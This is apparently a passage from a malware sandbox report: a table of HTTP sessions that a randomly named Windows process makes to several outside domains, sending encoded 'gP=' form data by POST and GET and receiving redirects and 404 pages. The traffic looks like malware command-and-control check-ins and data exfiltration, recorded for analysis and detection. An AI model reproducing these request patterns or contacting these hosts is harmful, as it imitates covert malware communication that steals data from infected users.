Oct 8, 2024 15:55:31.023698092 CEST	359	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 08 Oct 2024 13:55:30 GMT Content-Type: text/html Content-Length: 166 Connection: close Location: https://6329.vhjhbv.com/4i87/ Server: CDNRay Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.11	49989	20.184.53.162	80	3000	C:\Program Files (x86)\PZHeSQlLTMgDWGgAeGkqhKIlzUAaLXeGcDNeBEjXxOvHEQaaccEFsXfl\UCAmCgWJyh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:55:32.468439102 CEST	457	OUT	GET /4i87/?-L=kBMxZFRpAD6P&gP=tX1gPPm4vGDAfdGb/LV0WNIl4Jkrf3fdzqWbffI0WxOtalbv2UCR6RvwOqtQuPJgvEbTjd3YUbROaC6Ux6KVpZIGkHJVy9sLRLBvFWiGcqamlVlCdw8MyQ8= HTTP/1.1 Host: www.52ywq.vip Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36
Oct 8, 2024 15:55:33.552191019 CEST	499	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 08 Oct 2024 13:55:33 GMT Content-Type: text/html Content-Length: 166 Connection: close Location: https://6329.vhjhbv.com/4i87/?-L=kBMxZFRpAD6P&gP=tX1gPPm4vGDAfdGb/LV0WNIl4Jkrf3fdzqWbffI0WxOtalbv2UCR6RvwOqtQuPJgvEbTjd3YUbROaC6Ux6KVpZIGkHJVy9sLRLBvFWiGcqamlVlCdw8MyQ8= Server: CDNRay Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.11	49990	199.192.21.169	80	3000	C:\Program Files (x86)\PZHeSQlLTMgDWGgAeGkqhKIlzUAaLXeGcDNeBEjXxOvHEQaaccEFsXfl\UCAmCgWJyh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:55:39.003246069 CEST	724	OUT	POST /d8cw/ HTTP/1.1 Host: www.zenscape.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 199 Origin: http://www.zenscape.top Referer: http://www.zenscape.top/d8cw/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36 Data Raw: 67 50 3d 2f 69 74 57 33 34 73 62 30 31 4c 6c 48 38 6c 67 47 31 42 6a 63 43 4a 2f 30 33 79 52 48 7a 37 49 37 47 45 6a 6b 4f 2f 32 2b 4b 4e 39 47 7a 68 71 31 41 64 6f 30 39 56 42 71 56 62 38 54 73 65 67 61 63 57 54 54 72 52 73 74 78 4f 6e 4d 6b 58 43 33 69 59 72 70 6c 71 4a 79 71 71 69 75 65 78 2b 6c 44 30 57 41 54 48 31 52 33 62 70 58 4a 39 57 58 50 64 6a 65 67 44 66 6e 4d 33 50 36 49 6e 48 41 45 43 6f 62 7a 68 70 55 73 48 6e 75 67 58 6b 54 50 49 36 7a 44 7a 52 50 2b 6a 64 68 46 2f 38 30 49 38 4e 33 63 51 6f 46 55 30 54 77 6f 61 33 7a 42 57 4d 68 41 31 66 59 33 78 42 6e 7a 2f 48 6e 77 3d 3d Data Ascii: gP=/itW34sb01LlH8lgG1BjcCJ/03yRHz7I7GEjkO/2+KN9Gzhq1Ado09VBqVb8TsegacWTTrRstxOnMkXC3iYrplqJyqqiuex+lD0WATH1R3bpXJ9WXPdjegDfnM3P6InHAECobzhpUsHnugXkTPI6zDzRP+jdhF/80I8N3cQoFU0Twoa3zBWMhA1fY3xBnz/Hnw==
Oct 8, 2024 15:55:39.614902020 CEST	980	IN	HTTP/1.1 404 Not Found Date: Tue, 08 Oct 2024 13:55:39 GMT Server: Apache X-Frame-Options: SAMEORIGIN Content-Length: 774 X-XSS-Protection: 1; mode=block Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 0d 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 3a 34 30 30 2c 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>404 Not Found</title><link href="https://fonts.googleapis.com/css?family=Roboto:400,700" rel="stylesheet"><link type="text/css" rel="stylesheet" href="/css/style404.css" /></head><body><div id="notfound"><div class="notfound"><div class="notfound-404"><h1>4<span>0</span>4</h1></div><h2>the page you requested could not found</h2><form class="notfound-search"><input type="text" placeholder="Search..."><button type="button"><span></span></button></form></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.11	49991	199.192.21.169	80	3000	C:\Program Files (x86)\PZHeSQlLTMgDWGgAeGkqhKIlzUAaLXeGcDNeBEjXxOvHEQaaccEFsXfl\UCAmCgWJyh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:55:42.236865997 CEST	744	OUT	POST /d8cw/ HTTP/1.1 Host: www.zenscape.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 219 Origin: http://www.zenscape.top Referer: http://www.zenscape.top/d8cw/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36 Data Raw: 67 50 3d 2f 69 74 57 33 34 73 62 30 31 4c 6c 48 66 74 67 41 6d 35 6a 4c 79 4a 38 33 33 79 52 4e 54 37 45 37 47 49 6a 6b 4c 66 6d 72 6f 70 39 47 58 6c 71 6e 52 64 6f 33 39 56 42 6c 31 62 35 58 73 65 76 61 63 71 62 54 75 70 73 74 78 61 6e 4d 68 72 43 33 78 67 6f 6f 31 71 50 37 4b 71 67 78 75 78 2b 6c 44 30 57 41 54 53 51 52 33 7a 70 55 35 4e 57 57 75 64 73 43 77 44 63 33 73 33 50 78 6f 6e 44 41 45 43 65 62 32 46 44 55 75 76 6e 75 6c 7a 6b 64 2b 49 35 35 44 7a 66 46 65 69 6a 6b 48 66 79 30 6f 78 64 77 75 78 61 53 41 41 76 38 4f 4c 74 6a 69 66 62 69 54 39 64 4d 52 51 78 75 43 61 4f 38 34 63 57 74 75 47 33 54 31 6b 53 71 4a 4c 4b 65 73 57 37 46 39 34 3d Data Ascii: gP=/itW34sb01LlHftgAm5jLyJ833yRNT7E7GIjkLfmrop9GXlqnRdo39VBl1b5XsevacqbTupstxanMhrC3xgoo1qP7Kqgxux+lD0WATSQR3zpU5NWWudsCwDc3s3PxonDAECeb2FDUuvnulzkd+I55DzfFeijkHfy0oxdwuxaSAAv8OLtjifbiT9dMRQxuCaO84cWtuG3T1kSqJLKesW7F94=
Oct 8, 2024 15:55:42.829372883 CEST	980	IN	HTTP/1.1 404 Not Found Date: Tue, 08 Oct 2024 13:55:42 GMT Server: Apache X-Frame-Options: SAMEORIGIN Content-Length: 774 X-XSS-Protection: 1; mode=block Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 0d 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 3a 34 30 30 2c 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>404 Not Found</title><link href="https://fonts.googleapis.com/css?family=Roboto:400,700" rel="stylesheet"><link type="text/css" rel="stylesheet" href="/css/style404.css" /></head><body><div id="notfound"><div class="notfound"><div class="notfound-404"><h1>4<span>0</span>4</h1></div><h2>the page you requested could not found</h2><form class="notfound-search"><input type="text" placeholder="Search..."><button type="button"><span></span></button></form></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.11	49992	199.192.21.169	80	3000	C:\Program Files (x86)\PZHeSQlLTMgDWGgAeGkqhKIlzUAaLXeGcDNeBEjXxOvHEQaaccEFsXfl\UCAmCgWJyh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:55:44.786650896 CEST	1757	OUT	POST /d8cw/ HTTP/1.1 Host: www.zenscape.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 1231 Origin: http://www.zenscape.top Referer: http://www.zenscape.top/d8cw/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36 Data Raw: 67 50 3d 2f 69 74 57 33 34 73 62 30 31 4c 6c 48 66 74 67 41 6d 35 6a 4c 79 4a 38 33 33 79 52 4e 54 37 45 37 47 49 6a 6b 4c 66 6d 72 6f 68 39 46 6b 39 71 31 69 46 6f 34 64 56 42 73 56 62 34 58 73 65 32 61 63 79 6c 54 76 55 5a 74 33 57 6e 44 6a 54 43 67 51 67 6f 69 31 71 50 32 71 71 74 75 65 78 52 6c 44 6b 53 41 54 43 51 52 33 7a 70 55 37 56 57 41 50 64 73 41 77 44 66 6e 4d 32 4f 36 49 6e 6e 41 45 36 4f 62 33 45 30 58 66 50 6e 75 46 6a 6b 66 4d 67 35 78 44 7a 64 43 65 69 72 6b 48 53 77 30 6f 74 52 77 75 6f 50 53 48 30 76 32 4b 61 53 37 41 72 54 31 69 35 51 53 51 63 6c 70 42 71 32 32 4a 4d 51 71 38 4b 42 4e 46 30 43 75 71 6d 59 43 65 36 42 5a 64 39 51 49 67 67 37 54 4d 73 61 62 39 47 34 6e 62 58 66 5a 55 62 64 36 49 53 54 46 43 55 5a 4b 42 76 37 37 55 79 46 70 43 32 33 53 45 74 45 75 76 58 6b 62 49 74 70 6b 52 4e 74 67 71 33 35 47 6a 52 48 39 4c 70 50 6e 51 59 6a 70 74 54 74 42 59 30 68 46 70 75 59 6f 75 55 39 53 7a 73 39 67 4e 33 50 76 75 63 48 56 57 2b 6b 56 72 61 63 49 76 79 51 73 34 77 45 49 52 34 [TRUNCATED] Data Ascii: gP=/itW34sb01LlHftgAm5jLyJ833yRNT7E7GIjkLfmroh9Fk9q1iFo4dVBsVb4Xse2acylTvUZt3WnDjTCgQgoi1qP2qqtuexRlDkSATCQR3zpU7VWAPdsAwDfnM2O6InnAE6Ob3E0XfPnuFjkfMg5xDzdCeirkHSw0otRwuoPSH0v2KaS7ArT1i5QSQclpBq22JMQq8KBNF0CuqmYCe6BZd9QIgg7TMsab9G4nbXfZUbd6ISTFCUZKBv77UyFpC23SEtEuvXkbItpkRNtgq35GjRH9LpPnQYjptTtBY0hFpuYouU9Szs9gN3PvucHVW+kVracIvyQs4wEIR4QvxlBJDbfb4n44+/T0IaJrHvz3Iph64bY7jAI6z0efFe4mDIeSpsKk45KRBgkHuIRB0n7lb7NA8nQ34N70TkMBwToiKJoJRUzkZ3+WZ8rUqxLV8BRv8yDMTigjcPNagRvoTyIDQN4upkwOjO4YpMhkvllVXMY8mePKnXzc7ie+xfbuy6DMNB/NS6x5x/gaPuJE+5UDMxhe97tUTDglG0/LFstRKdh/smCGs49/ddV+HrW8b93Uc/dxN/YHaNTF9J046Z/frBK9R8I5pbAM6FTkhb6XSc783Gs4m6Nw+Xmv5UK9ZTilHNPCRpwRIMgD/8O4OwxqDv5lRNyEg5Ig+mID1oLD/jTl4AliNLwBqWCfj7+LTdLUY+yj9SbT34VNZLIvrOlkQDaAcdDVoiEBs0mNJszJNa3HnuUvJyb5ddBXHzLEnhtkn+GAxi+XrkD8M4hBEqVBShlrCdBA5UMMSxS5iflsVz1x2j7tN7lqP1LNrtrUqqURXXEy1rpE2YWlBwRnE7o0yxddWUwgrhMPVSnQeBiFiYnzykiE0sxbyIuOOmVhTyQvaXZex3TUnlLGOBV2hd98k8Gs+5/EBoGqekQj1ZHa659rz7PT/vqhFiCRCAIYHIAe+yze33Ahc8RzbP/08hMA/kd+VUSRwggnYgQNGnRAs/YUwu7V [TRUNCATED]
Oct 8, 2024 15:55:45.444499969 CEST	980	IN	HTTP/1.1 404 Not Found Date: Tue, 08 Oct 2024 13:55:45 GMT Server: Apache X-Frame-Options: SAMEORIGIN Content-Length: 774 X-XSS-Protection: 1; mode=block Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 0d 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 3a 34 30 30 2c 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>404 Not Found</title><link href="https://fonts.googleapis.com/css?family=Roboto:400,700" rel="stylesheet"><link type="text/css" rel="stylesheet" href="/css/style404.css" /></head><body><div id="notfound"><div class="notfound"><div class="notfound-404"><h1>4<span>0</span>4</h1></div><h2>the page you requested could not found</h2><form class="notfound-search"><input type="text" placeholder="Search..."><button type="button"><span></span></button></form></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.11	49993	199.192.21.169	80	3000	C:\Program Files (x86)\PZHeSQlLTMgDWGgAeGkqhKIlzUAaLXeGcDNeBEjXxOvHEQaaccEFsXfl\UCAmCgWJyh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:55:47.331054926 CEST	460	OUT	GET /d8cw/?gP=ygF20N1+ik7kBOtBXXgSSDl+0mvoPS6R8XEst5j0lvkfFXMCnxh1w4hdkVa8euGiR7K2W9wNoXO2NDH8py5otm2v66eMoudDkD1QDiauZF6PALhNXvt3BHI=&-L=kBMxZFRpAD6P HTTP/1.1 Host: www.zenscape.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36
Oct 8, 2024 15:55:47.945543051 CEST	995	IN	HTTP/1.1 404 Not Found Date: Tue, 08 Oct 2024 13:55:47 GMT Server: Apache X-Frame-Options: SAMEORIGIN Content-Length: 774 X-XSS-Protection: 1; mode=block Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 0d 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 3a 34 30 30 2c 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>404 Not Found</title><link href="https://fonts.googleapis.com/css?family=Roboto:400,700" rel="stylesheet"><link type="text/css" rel="stylesheet" href="/css/style404.css" /></head><body><div id="notfound"><div class="notfound"><div class="notfound-404"><h1>4<span>0</span>4</h1></div><h2>the page you requested could not found</h2><form class="notfound-search"><input type="text" placeholder="Search..."><button type="button"><span></span></button></form></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.11	49994	81.2.196.19	80	3000	C:\Program Files (x86)\PZHeSQlLTMgDWGgAeGkqhKIlzUAaLXeGcDNeBEjXxOvHEQaaccEFsXfl\UCAmCgWJyh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:55:53.053775072 CEST	736	OUT	POST /jsqu/ HTTP/1.1 Host: www.asociacia.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 199 Origin: http://www.asociacia.online Referer: http://www.asociacia.online/jsqu/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36 Data Raw: 67 50 3d 75 34 68 6d 5a 66 74 6c 58 43 78 34 67 6a 38 6d 38 35 68 4d 76 4d 6d 47 7a 30 7a 4e 57 77 56 46 6c 77 33 48 47 30 45 53 6e 47 69 72 44 56 63 61 4e 5a 77 47 4c 4f 71 74 56 6c 63 56 44 70 35 79 52 48 7a 2b 2b 63 2f 37 51 73 4e 64 56 73 35 6d 49 4c 66 6c 4c 58 53 59 5a 59 48 41 62 45 68 6e 72 56 59 66 4d 55 74 49 49 44 77 7a 63 4f 31 49 6e 4e 48 72 6c 66 4b 38 34 39 61 39 49 34 39 68 4b 39 2f 78 39 61 55 6e 30 49 46 66 48 4d 72 37 67 2f 30 56 42 30 6d 76 61 50 5a 76 75 4c 4f 53 42 36 4c 6a 35 36 63 33 61 53 72 36 79 52 44 75 52 42 52 38 6a 4e 75 6e 47 59 75 4e 49 66 7a 65 6c 41 3d 3d Data Ascii: gP=u4hmZftlXCx4gj8m85hMvMmGz0zNWwVFlw3HG0ESnGirDVcaNZwGLOqtVlcVDp5yRHz++c/7QsNdVs5mILflLXSYZYHAbEhnrVYfMUtIIDwzcO1InNHrlfK849a9I49hK9/x9aUn0IFfHMr7g/0VB0mvaPZvuLOSB6Lj56c3aSr6yRDuRBR8jNunGYuNIfzelA==
Oct 8, 2024 15:55:53.696913004 CEST	355	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 08 Oct 2024 13:55:53 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Content-Encoding: gzip Data Raw: 61 61 0d 0a 1f 8b 08 00 00 00 00 00 04 03 ed 90 b1 0a 02 31 10 44 7b c1 7f 58 3f 20 44 e1 ca 25 8d 28 58 68 e3 17 e4 dc f5 12 c8 6d 8e 18 c1 fb 7b 13 bd 03 b1 b6 b4 dc 99 37 c3 b0 e8 72 1f cc 72 81 8e 2d 19 cc 3e 07 36 cd ba 81 53 cc b0 8f 77 21 d4 6f 11 f5 0b 29 68 1b 69 ac 91 0b 4b e6 64 d0 6d be 13 45 41 3d d9 b5 bb 40 d3 25 9d 97 c7 a7 a7 e7 36 3d 2f 59 29 05 16 06 4b e4 a5 83 1c 81 fc cd b6 81 e1 78 3e ec c0 0a c1 d6 a5 d8 33 5c 93 67 a1 30 02 a7 14 53 49 74 0c 4a d5 65 ff 8a 5f fe e2 09 27 a7 bf a8 24 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: aa1D{X? D%(Xhm{7rr->6Sw!o)hiKdmEA=@%6=/Y)Kx>3\g0SItJe_'$0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.11	49995	81.2.196.19	80	3000	C:\Program Files (x86)\PZHeSQlLTMgDWGgAeGkqhKIlzUAaLXeGcDNeBEjXxOvHEQaaccEFsXfl\UCAmCgWJyh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:55:55.602183104 CEST	756	OUT	POST /jsqu/ HTTP/1.1 Host: www.asociacia.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 219 Origin: http://www.asociacia.online Referer: http://www.asociacia.online/jsqu/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36 Data Raw: 67 50 3d 75 34 68 6d 5a 66 74 6c 58 43 78 34 68 43 73 6d 7a 2b 4e 4d 6b 4d 6d 46 32 30 7a 4e 59 51 55 4d 6c 77 37 48 47 31 42 50 79 67 36 72 41 30 73 61 63 6f 77 47 59 2b 71 74 4e 56 63 51 4d 4a 35 35 52 48 50 4d 2b 64 54 37 51 74 70 64 56 70 56 6d 49 34 33 6b 5a 33 53 65 55 34 48 43 55 6b 68 6e 72 56 59 66 4d 55 49 6e 49 48 55 7a 64 2b 46 49 6e 76 76 73 37 50 4b 39 39 39 61 39 5a 6f 39 74 4b 39 2f 48 39 61 6c 4d 30 4f 42 66 48 4a 76 37 67 71 59 57 59 45 6d 74 46 66 59 36 6c 2b 72 72 49 34 53 7a 34 6f 55 44 54 67 76 70 7a 58 53 30 42 69 59 72 67 65 6d 6c 53 2b 50 39 42 75 57 58 2b 4e 69 7a 39 6b 4f 71 55 35 72 77 71 58 45 36 77 75 61 48 74 33 77 3d Data Ascii: gP=u4hmZftlXCx4hCsmz+NMkMmF20zNYQUMlw7HG1BPyg6rA0sacowGY+qtNVcQMJ55RHPM+dT7QtpdVpVmI43kZ3SeU4HCUkhnrVYfMUInIHUzd+FInvvs7PK999a9Zo9tK9/H9alM0OBfHJv7gqYWYEmtFfY6l+rrI4Sz4oUDTgvpzXS0BiYrgemlS+P9BuWX+Niz9kOqU5rwqXE6wuaHt3w=
